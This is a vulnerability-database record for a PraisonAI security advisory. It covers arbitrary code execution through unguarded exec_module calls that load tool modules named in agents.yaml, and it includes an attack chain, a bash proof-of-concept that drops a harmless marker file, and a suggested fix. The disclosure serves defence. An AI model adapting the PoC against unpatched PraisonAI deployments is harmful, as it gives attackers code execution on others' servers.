{"id":"CVE-2026-47398","aliases":["GHSA-78r8-wwqv-r299","PYSEC-2026-2905"],"title":"PraisonAI: Arbitrary code execution via unguarded `spec.loader.exec_module` in `agents_generator.py` - sibling of CVE-2026-44334","summary":"PraisonAI: Arbitrary code execution via unguarded `spec.loader.exec_module` in `agents_generator.py` - sibling of CVE-2026-44334","severity":"high","cvss":8.1,"cvssVector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","vendor":"praisonai","product":"praisonai","ecosystem":"pip","affected":["praisonai < 4.6.40"],"patched":["praisonai 4.6.40"],"published":"2026-05-29","updated":"2026-07-13","source":"OSV","sourceUrl":"https://osv.dev/vulnerability/GHSA-78r8-wwqv-r299","references":[{"url":"https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-78r8-wwqv-r299"},{"url":"https://github.com/MervinPraison/PraisonAI"}],"tags":["osv","pip"],"ingestedAt":"2026-07-13T18:57:54.313Z","epss":0.00573,"epssPercentile":0.46113,"slug":"CVE-2026-47398","body":"## Overview\n\n<html><head></head><body><h2>Arbitrary code execution via ungated <code>spec.loader.exec_module</code> in <code>agents_generator.py</code> (v4.6.32 chokepoint refactor bypass)</h2>\n<h3>Summary</h3>\n<p>The v4.6.32 chokepoint refactor (which patched CVE-2026-44334 / GHSA-xcmw-grxf-wjhj) added the <code>PRAISONAI_ALLOW_LOCAL_TOOLS</code> env-var gate to the <code>tool_override.py</code> sinks. However, <strong>two additional <code>spec.loader.exec_module</code> call sites</strong> in <code>praisonai/agents_generator.py</code> were missed and remain completely unguarded on current <code>master</code> (v4.6.37). Both functions accept a <code>module_path</code> parameter sourced from YAML configuration and execute it without validation, signature checking, or the env-var gate.</p>\n<h3>Patch lineage</h3>\n\nCVE | GHSA | Fixed in | What was patched\n-- | -- | -- | --\nCVE-2026-40156 | GHSA-2g3w-cpc4-chr4 | 4.5.128 | CWD tools.py auto-load in tool_resolver.py\nCVE-2026-40287 | GHSA-g985-wjh9-qxxc | 4.5.139 | Env-var gate added to tool_resolver.py + api/call.py\nCVE-2026-44334 | GHSA-xcmw-grxf-wjhj | 4.6.32 | Missed sink in templates/tool_override.py\nThis finding | — | unfixed | Missed sinks in agents_generator.py\n\n\n<p>Every prior patch addressed a subset of <code>exec_module</code> call sites. The two sinks documented here were present throughout the entire fix sequence and remain unpatched.</p>\n<h3>Vulnerable code</h3>\n<pre><code class=\"language-python\"># praisonai/agents_generator.py  (master HEAD; v4.6.37)\n\n336    def load_tools_from_module(self, module_path):\n           # ...\n349        spec = importlib.util.spec_from_file_location(\"tools_module\", module_path)\n350        module = importlib.util.module_from_spec(spec)\n351        spec.loader.exec_module(module)               # ← NO gate\n\n372    def load_tools_from_module_class(self, module_path):\n           # ...  (same pattern — spec_from_file_location → exec_module, no gate)\n</code></pre>\n<p>Neither function checks <code>PRAISONAI_ALLOW_LOCAL_TOOLS</code>. Neither validates <code>module_path</code> against an allowlist. The <code>module_path</code> value originates from YAML agent configuration (<code>agents.yaml</code>) tool definitions, which can be:</p>\n<ol>\n<li><strong>Attacker-controlled via shared/writable config directory</strong> — same CWD-plant vector as CVE-2026-40156.</li>\n<li><strong>Attacker-controlled via recipe/GitHub fetch</strong> — same remote trigger as CVE-2026-44334 (<code>POST /v1/recipes/run</code> with <code>allow_any_github=True</code>).</li>\n<li><strong>Attacker-influenced via prompt injection</strong> — an LLM agent instructed to load tools from a crafted path reaches these functions through the agent orchestration layer.</li>\n</ol>\n<h3>Attack chain (recipe vector)</h3>\n<pre><code>HTTP POST /v1/recipes/run\n  body: {\"recipe\": \"github:&lt;attacker&gt;/&lt;repo&gt;/&lt;recipe&gt;\"}\n        │\n        ▼\n  Recipe fetched → agents.yaml contains:\n    tools:\n      - module_path: ./evil.py        # colocated in recipe dir\n        │\n        ▼\n  AgentsGenerator.load_tools_from_module(\"./evil.py\")\n        │\n        ▼\n  agents_generator.py:349   spec = spec_from_file_location(\"tools_module\", \"./evil.py\")\n  agents_generator.py:351   spec.loader.exec_module(module)   ← RCE\n</code></pre>\n<p>No <code>PRAISONAI_ALLOW_LOCAL_TOOLS</code> check. No auth required (legacy server default). Module-level code executes during tool registry construction, before any LLM call.</p>\n<h3>PoC</h3>\n<pre><code class=\"language-bash\">#!/usr/bin/env bash\n# Requires: pip install praisonai (any version &gt;= 2.0.0, &lt;= 4.6.37)\nset -euo pipefail\n\nWORKDIR=$(mktemp -d)\ntrap \"rm -rf $WORKDIR\" EXIT\n\n# 1. Malicious module\ncat &gt; \"$WORKDIR/evil.py\" &lt;&lt; 'PYEOF'\nimport os, sys, tempfile, time\nmarker = os.path.join(tempfile.gettempdir(),\n                      f\"praisonai_agents_gen_pwn_{int(time.time())}.txt\")\nwith open(marker, \"w\") as f:\n    f.write(f\"uid={os.getuid()} pid={os.getpid()} argv={sys.argv}\\n\")\nprint(f\"[agents_generator bypass] RCE fired. Marker: {marker}\", flush=True)\n\ndef dummy_tool():\n    \"\"\"Placeholder so tool scan finds something.\"\"\"\n    pass\nPYEOF\n\n# 2. agents.yaml that references it\ncat &gt; \"$WORKDIR/agents.yaml\" &lt;&lt; 'YAMLEOF'\nframework: praisonai\ntopic: \"PoC — agents_generator exec_module bypass\"\nroles:\n  poc_agent:\n    role: PoC\n    goal: Trigger load_tools_from_module\n    backstory: n/a\n    tools:\n      - evil.py\nYAMLEOF\n\n# 3. Run\ncd \"$WORKDIR\"\npython -c \"\nfrom praisonai import PraisonAI\ntry:\n    ai = PraisonAI(agent_file='agents.yaml')\n    ai.main()\nexcept Exception:\n    pass  # downstream failure expected; exec_module already fired\n\"\n\n# 4. Verify\nMARKER=$(ls /tmp/praisonai_agents_gen_pwn_*.txt 2&gt;/dev/null | tail -1)\nif [ -n \"$MARKER\" ]; then\n    echo \"SUCCESS — marker file written by server process:\"\n    cat \"$MARKER\"\nelse\n    echo \"FAIL — marker not found\"\n    exit 1\nfi\n</code></pre>\n<h3>Impact</h3>\n<p>Arbitrary code execution with the privileges of the PraisonAI process. The attacker payload runs during tool registry construction — before any LLM interaction — so no API keys or model access are required for the exploit to succeed. In CI/CD and shared-server environments, any user who can write an <code>agents.yaml</code> or colocate a <code>.py</code> file achieves code execution as the service account.</p>\n<h3>Severity</h3>\n<p><strong>High</strong> — CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H (7.8)</p>\n<p>When combined with the recipe server's default no-auth posture and <code>allow_any_github=True</code>, the attack becomes <strong>network-reachable without authentication</strong>, elevating to:</p>\n<p>CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8 Critical)</p>\n<h3>CWE</h3>\n<ul>\n<li>CWE-94: Improper Control of Generation of Code ('Code Injection')</li>\n<li>CWE-426: Untrusted Search Path</li>\n<li>CWE-829: Inclusion of Functionality from Untrusted Control Sphere</li>\n</ul>\n<h3>Affected versions</h3>\n<p>All versions containing <code>agents_generator.py</code> with these functions — at minimum <code>&gt;= 2.0.0, &lt;= 4.6.37</code> (current <code>master</code> HEAD).</p>\n<h3>Suggested fix</h3>\n<p>Apply the same <code>PRAISONAI_ALLOW_LOCAL_TOOLS</code> env-var gate used in <code>tool_resolver.py</code> and <code>api/call.py</code> to both call sites in <code>agents_generator.py</code>:</p>\n<pre><code class=\"language-python\">import os\n\ndef load_tools_from_module(self, module_path):\n    if os.environ.get(\"PRAISONAI_ALLOW_LOCAL_TOOLS\", \"\").lower() != \"true\":\n        return []\n    # ... existing logic ...\n\ndef load_tools_from_module_class(self, module_path):\n    if os.environ.get(\"PRAISONAI_ALLOW_LOCAL_TOOLS\", \"\").lower() != \"true\":\n        return []\n    # ... existing logic ...\n</code></pre>\n<p>Additionally, validate <code>module_path</code> against a strict allowlist of expected tool module locations rather than accepting arbitrary filesystem paths.</p>\n<h3>Credit</h3>\n<p>Kai Aizen &amp; Avraham Shemesh / <a href=\"https://snailsploit.com/\">SnailSploit</a></p></body></html>## Arbitrary code execution via ungated `spec.loader.exec_module` in `agents_generator.py` (v4.6.32 chokepoint refactor bypass)\n\n### TL;DR\n\nThe v4.6.32 chokepoint refactor (which patched CVE-2026-44334 / GHSA-xcmw-grxf-wjhj) added the `PRAISONAI_ALLOW_LOCAL_TOOLS` env-var gate to the `tool_override.py` sinks. However, **two additional `spec.loader.exec_module` call sites** in `praisonai/agents_generator.py` were missed and remain completely unguarded on current `master` (v4.6.37). Both functions accept a `module_path` parameter sourced from YAML configuration and execute it without validation, signature checking, or the env-var gate.\n\n### Patch lineage\n\n| CVE | GHSA | Fixed in | What was patched |\n| --- | --- | --- | --- |\n| CVE-2026-40156 | GHSA-2g3w-cpc4-chr4 | 4.5.128 | CWD `tools.py` auto-load in `tool_resolver.py` |\n| CVE-2026-40287 | GHSA-g985-wjh9-qxxc | 4.5.139 | Env-var gate added to `tool_resolver.py` + `api/call.py` |\n| CVE-2026-44334 | GHSA-xcmw-grxf-wjhj | 4.6.32 | Missed sink in `templates/tool_override.py` |\n| **This finding** | — | **unfixed** | Missed sinks in `agents_generator.py` |\n\nEvery prior patch addressed a subset of `exec_module` call sites. The two sinks documented here were present throughout the entire fix sequence and remain unpatched.\n\n### Vulnerable code\n\n```python\n# praisonai/agents_generator.py  (master HEAD; v4.6.37)\n\n336    def load_tools_from_module(self, module_path):\n           # ...\n349        spec = importlib.util.spec_from_file_location(\"tools_module\", module_path)\n350        module = importlib.util.module_from_spec(spec)\n351        spec.loader.exec_module(module)               # ← NO gate\n\n372    def load_tools_from_module_class(self, module_path):\n           # ...  (same pattern — spec_from_file_location → exec_module, no gate)\n```\n\nNeither function checks `PRAISONAI_ALLOW_LOCAL_TOOLS`. Neither validates `module_path` against an allowlist. The `module_path` value originates from YAML agent configuration (`agents.yaml`) tool definitions, which can be:\n\n1. **Attacker-controlled via shared/writable config directory** — same CWD-plant vector as CVE-2026-40156.\n2. **Attacker-controlled via recipe/GitHub fetch** — same remote trigger as CVE-2026-44334 (`POST /v1/recipes/run` with `allow_any_github=True`).\n3. **Attacker-influenced via prompt injection** — an LLM agent instructed to load tools from a crafted path reaches these functions through the agent orchestration layer.\n\n### Attack chain (recipe vector)\n\n```\nHTTP POST /v1/recipes/run\n  body: {\"recipe\": \"github:<attacker>/<repo>/<recipe>\"}\n        │\n        ▼\n  Recipe fetched → agents.yaml contains:\n    tools:\n      - module_path: ./evil.py        # colocated in recipe dir\n        │\n        ▼\n  AgentsGenerator.load_tools_from_module(\"./evil.py\")\n        │\n        ▼\n  agents_generator.py:349   spec = spec_from_file_location(\"tools_module\", \"./evil.py\")\n  agents_generator.py:351   spec.loader.exec_module(module)   ← RCE\n```\n\nNo `PRAISONAI_ALLOW_LOCAL_TOOLS` check. No auth required (legacy server default). Module-level code executes during tool registry construction, before any LLM call.\n\n### PoC\n\n```bash\n#!/usr/bin/env bash\n# Requires: pip install praisonai (any version >= 2.0.0, <= 4.6.37)\nset -euo pipefail\n\nWORKDIR=$(mktemp -d)\ntrap \"rm -rf $WORKDIR\" EXIT\n\n# 1. Malicious module\ncat > \"$WORKDIR/evil.py\" << 'PYEOF'\nimport os, sys, tempfile, time\nmarker = os.path.join(tempfile.gettempdir(),\n                      f\"praisonai_agents_gen_pwn_{int(time.time())}.txt\")\nwith open(marker, \"w\") as f:\n    f.write(f\"uid={os.getuid()} pid={os.getpid()} argv={sys.argv}\\n\")\nprint(f\"[agents_generator bypass] RCE fired. Marker: {marker}\", flush=True)\n\ndef dummy_tool():\n    \"\"\"Placeholder so tool scan finds something.\"\"\"\n    pass\nPYEOF\n\n# 2. agents.yaml that references it\ncat > \"$WORKDIR/agents.yaml\" << 'YAMLEOF'\nframework: praisonai\ntopic: \"PoC — agents_generator exec_module bypass\"\nroles:\n  poc_agent:\n    role: PoC\n    goal: Trigger load_tools_from_module\n    backstory: n/a\n    tools:\n      - evil.py\nYAMLEOF\n\n# 3. Run\ncd \"$WORKDIR\"\npython -c \"\nfrom praisonai import PraisonAI\ntry:\n    ai = PraisonAI(agent_file='agents.yaml')\n    ai.main()\nexcept Exception:\n    pass  # downstream failure expected; exec_module already fired\n\"\n\n# 4. Verify\nMARKER=$(ls /tmp/praisonai_agents_gen_pwn_*.txt 2>/dev/null | tail -1)\nif [ -n \"$MARKER\" ]; then\n    echo \"SUCCESS — marker file written by server process:\"\n    cat \"$MARKER\"\nelse\n    echo \"FAIL — marker not found\"\n    exit 1\nfi\n```\n\n### Impact\n\nArbitrary code execution with the privileges of the PraisonAI process. The attacker payload runs during tool registry construction — before any LLM interaction — so no API keys or model access are required for the exploit to succeed. In CI/CD and shared-server environments, any user who can write an `agents.yaml` or colocate a `.py` file achieves code execution as the service account.\n\n### Severity\n\n**High** — CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H (7.8)\n\nWhen combined with the recipe server's default no-auth posture and `allow_any_github=True`, the attack becomes **network-reachable without authentication**, elevating to:\n\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8 Critical)\n\n### CWE\n\n- CWE-94: Improper Control of Generation of Code ('Code Injection')\n- CWE-426: Untrusted Search Path\n- CWE-829: Inclusion of Functionality from Untrusted Control Sphere\n\n### Affected versions\n\nAll versions containing `agents_generator.py` with these functions — at minimum `>= 2.0.0, <= 4.6.37` (current `master` HEAD).\n\n### Suggested fix\n\nApply the same `PRAISONAI_ALLOW_LOCAL_TOOLS` env-var gate used in `tool_resolver.py` and `api/call.py` to both call sites in `agents_generator.py`:\n\n```python\nimport os\n\ndef load_tools_from_module(self, module_path):\n    if os.environ.get(\"PRAISONAI_ALLOW_LOCAL_TOOLS\", \"\").lower() != \"true\":\n        return []\n    # ... existing logic ...\n\ndef load_tools_from_module_class(self, module_path):\n    if os.environ.get(\"PRAISONAI_ALLOW_LOCAL_TOOLS\", \"\").lower() != \"true\":\n        return []\n    # ... existing logic ...\n```\n\nAdditionally, validate `module_path` against a strict allowlist of expected tool module locations rather than accepting arbitrary filesystem paths.\n\n### Credit\n\nKai Aizen & Avraham Shemesh / [[SnailSploit](https://snailsploit.com/)](https://snailsploit.com)\n\n## Affected packages\n\n- `praisonai < 4.6.40`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `praisonai 4.6.40`","depth":"twilight","depthScore":45,"depthScoreParts":{"impact":44.6,"likelihood":0.1,"exploitation":0,"ransomware":0},"changes":[]}